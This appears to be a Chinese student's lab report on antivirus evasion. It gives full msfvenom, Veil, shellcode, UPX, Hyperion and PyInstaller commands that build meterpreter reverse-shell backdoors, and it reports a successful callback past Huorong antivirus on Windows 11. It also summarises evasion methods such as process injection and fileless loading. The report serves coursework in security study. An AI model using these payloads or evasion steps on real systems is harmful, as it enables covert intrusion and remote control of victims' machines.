一.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀。
- 如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
二.问题回答
- 杀软是如何检测出恶意代码的?
特征码检测:通过比对文件或程序的哈希值、二进制片段、字符串等特征与病毒库中的已知恶意代码签名匹配。
启发式分析:基于行为模式或代码结构异常判断潜在威胁,无需精确匹配特征。
行为监控:实时监控程序运行时的行为,拦截恶意操作。
- 免杀是做什么?
免杀指通过一系列技术手段让恶意代码(病毒、木马、远控、勒索软件等)绕过杀毒软件的检测机制,使其在目标系统上能够成功植入、潜伏并运行。
- 免杀的基本方法有哪些?
加冷门壳:用罕见加壳器重新封装,让杀毒软件认不出。
改特征码:等价指令或小修字节,使哈希签名失配。
API 拆链:动态拼接待调用函数名,导入表不留敏感字。
RW→RX:先写后改执行权限,消除“可写可执行”标记。
白进程注入:借签名可信进程做宿主,降低行为评分。
无文件加载:脚本内存拉密文并反射运行,磁盘无 PE。
三.实验过程
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
1.使用msf编码器。
- 查看虚拟机ip。
![d42412f4e479d9271999e5231fb0d4a]()
- 使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=2314 -f exe > 20232314_1.exe生成一个后门可执行文件。

- 将生成的后门放入virustotal中进行检测。(建议先用163邮箱注册一个账号,不然会被人机检测折磨)
![9a935edc3d3db97898c960b9570bddc]()
可以看到免杀效果为50/72,后门很容易被检测。
- 输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.136.129 LPORT=2314 -f exe > 20232314_2.exe,使用 Shikata Ga Nai 编码器提高后门的绕过检测的能力
![6ec4e78746f3886ff65d9a77df8e3e5]()
-
进行检测
![fd5685f303c9ff2802afed271e61392]()
可以看到有一定效果,但并不明显。
- 输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.136.129 LPORT=2314 -f exe > 20232314_3.exe对后门进行12次编码
![bfdaa865f170c111310515cebbafd4e]()
-
进行检测
![d62d648aee98fcb310c5550b67e501e]()
效果依旧不明显。
- 输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=2314 -f jar > 20232314.jar生成.jar文件,进行检测。
![18e24f1c45bdf1b6d935fce7f8be1c1]()
![019d663557bc1a8db52356b15c7f9df]()
- 输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=2314 x > 20232314.php生成.php文件,进行检测。
![14a5de040898130cd12c16cc6896555]()
![cd316e7bdfb6649031692474af1770c]()
- 输入msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=2314 -f py > 20232314.py生成.py文件,进行检测。
![9abcd83a24f46c393ef28e025d21749]()
![9f938163cfecdad181ee6d1e0a89ede]()
- 输入msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=2314 x > 20232314.apk生成.apk文件,进行检测。
![4a9477cf07784f1d984a5802cccb4c1]()
![9789c35180acecd2ea27a4753feeb90]()
不同文件的免杀效果不同,.py文件的免杀效果最好。
2.veil生成后门
- 输入以下代码安装veil(注意此过程留出足够的空间)
sudo apt -y install veil
usr/share/veil/config/setup.sh --force --silent
- 查看ip。(这里由于没有足够的空间,扩容后虚拟机死机了,没找的办法,所以重新安装了一个)
![8fb875a8fb7a8451834736c04d3ded0]()
- 安装完成后输入veil进入veil工具页面。
![d1ca1ec4cf980408cfff243ca66fbeb]()
- 输入use 1进入Evasion模块。
![885368fb1420687a41e89c46a4e0522]()
-
输入list查看载荷种类
![405d841abf78e082e897204b5012231]()
载荷c/meterpreter/rev_tcp的序号为7。
- 输入use 7选择该载荷并输入以下代码进行配置
set LHOST 192.168.136.132
set LPORT 2314
generate
生成后门的过程中会让你输入文件名称

这里可以看到生成的可执行文件地址为/var/lib/veil/output/compiled/20232314.exe。

- 进行检测。
![db56e8152494d1000d2514da3786268]()
3.使用C + shellcode编程实现免杀
- 输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.132 LPORT=2314 -f c一段恶意代码
![ecda0374aff95c3eec0479c4e028ea8]()
-
创建c文件,将生成的代码复制到文件中并编辑main函数。
![598ca68a313c369f6a2b9334bb2484a]()
-
输入i686-w64-mingw32-g++ 20232314shellcode.c -o 20232314shellcode.exe运行程序并进行检测
![03bdb00283cc1d728b0ea838f4e832d]()
可以看到,该项技术能够提高免杀效果。
4.加壳工具(upx、hyperion)
- 输入upx 20232314shellcode.exe -o 20232314shellcode_upx.exe使用upx工具对上述文件进行加壳压缩并检测。
![2b65da1b43d777c7e66beec88e72dcf]()
![7ddb8ec40fae6a6bf6589ee4a58593d]()
免杀效果降低了,说明upx工具已被杀毒软件标记,因此更容易被检测。
- 输入cp 20232314shellcode.exe /usr/share/windows-resources/hyperion/将文件复制到hypersion工具的目录下
![f4951df1bc9ec7855dd2ad74baf92aa]()
-
进入到该目录下,输入wine hyperion.exe -v 20232314shellcode.exe 20232314shellcode_hyp.exe,使用wine在linux下运行hyperion加密器对文件进行加密,加密完成后进行检测。
![fb03f8a8bdf216d8eab303053dfaa9f]()
![bf4c79ba074114a3f92fe0680337de5]()
免杀效果依然降低,说明hyperion工具也被标记,不适合加壳。
(2)通过组合应用各种技术实现恶意代码免杀。
- 本次实验试用了很多种方法包括:msf生成c文件+upx、msf生成c文件+upx+hyp、veil+upx、veil生成python文件再进行加壳等方式,但都没有实现很好的免杀效果。
- 经过上述的实验发现:msf生成的.py文件具有很好的免杀效果。于是输入
msfvenom -p python/meterpreter_reverse_tcp \LHOST=192.168.136.132 LPORT=2314 \-f raw -o 20232314_10.py生成一个.py文件
- 将其传入到windows中输入pyinstaller -Fw 20232314_10.py使用pyinstaller对.py进行打包生成.exe文件
- 进行检测。
![8ae6ee70852dddf195e75e16ce30c12]()
![9fc89bee8e25518d877226e8ba14147]()
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
杀软名称:火绒
电脑:windows 11
- 查看目标及机P使用ncat传输文件。
![662bf22c3eb788b59a3ffef2a03352c]()
- 进行检测
![0bb72e7c1f0e47a9d889fc5d01c7671]()
- 重新生成文件20232314end.py,将文件传到本机中,输入pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232314end.py在本机上打包为20232314end.exe。
- 进入msf界面进行如下配置。
![04f19cac385a0abc7a691f3e91f5078]()
- 输入exploit进行监听,同时运行20232314end.exe。
![feb221bf8b11e5def8dcf16eb1b4bde]()
可以看到成功回连。
- PyInstaller打包工具将python脚本、依赖库等打包成唯一的exe文件,结构复杂,提高了免杀效果。
四.问题及解决方案
- pyinstaller打包生成的可执行文件缺少一些模块,会无法启动且就算能够回连,msf会缺少相关命令。
- 输入pyinstaller -F xxx.py使.exe文件运行时保留终端,显示缺少的模块(如果闪退就在cmd中执行dist/xxx.py将生成的东西交给AI),随后使用pyinstaller -F --hidden-import=xxx xxx.py将模块打包进文件中,缺少什么模块就在后面用--hidden-import打包进文件,全部打入后就可以运行连接了。
五.学习感悟
- 通过这次实验,我知道了杀软是如何进行检测、病毒如何进行免杀,同时认识到如今杀毒软件已十分发达,能够检测出很多后门程序,但杀软依然有检测不出的后门程序,如python文件、一些冷门的加壳工具,个人隐私依然受到威胁,因此要及时监测病毒,保护好自己的隐私安全。
参考资料
- 实验指导书
































